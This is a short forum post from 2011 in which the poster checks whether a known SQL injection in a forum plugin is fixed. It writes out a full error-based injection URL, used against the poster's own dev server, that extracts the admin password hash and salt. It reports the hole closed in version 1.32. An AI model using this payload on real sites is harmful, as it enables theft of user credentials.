2011-08-19, 10:36 AM
(2011-08-19, 04:33 AM)ranjani Wrote: [ -> ]" did the well known exploit and managed to get my user and md5 hash and salt "
why don't you check the updated version ??
you mean do the same exploit on the new version?
im currently cracking the md5 hash and salt of my own password just to see how long it takes
well exploit is defo fixed
1.31 = http://dev.965mods.co.uk:8080/forums.php?tab=tab=1' and(select 1 from(select count(*),concat((select password from PREFIX HERE BUT I DONT HAVE 1 SO I ENTER NOTHING_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -showed me my username and ofcourse changing username to password and salt showed password and salt
but on
1.32 = http://dev.965mods.co.uk:8080/forums.php?tab=tab=1' and(select 1 from(select count(*),concat((select password from PREFIX HERE BUT I DONT HAVE 1 SO I ENTER NOTHING_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -showed me the usual tabs etc
IF U FEEL uve been hacked u should change your password as it will take a few hours or days sometimes weeks to crack the password from the md5 hash and salt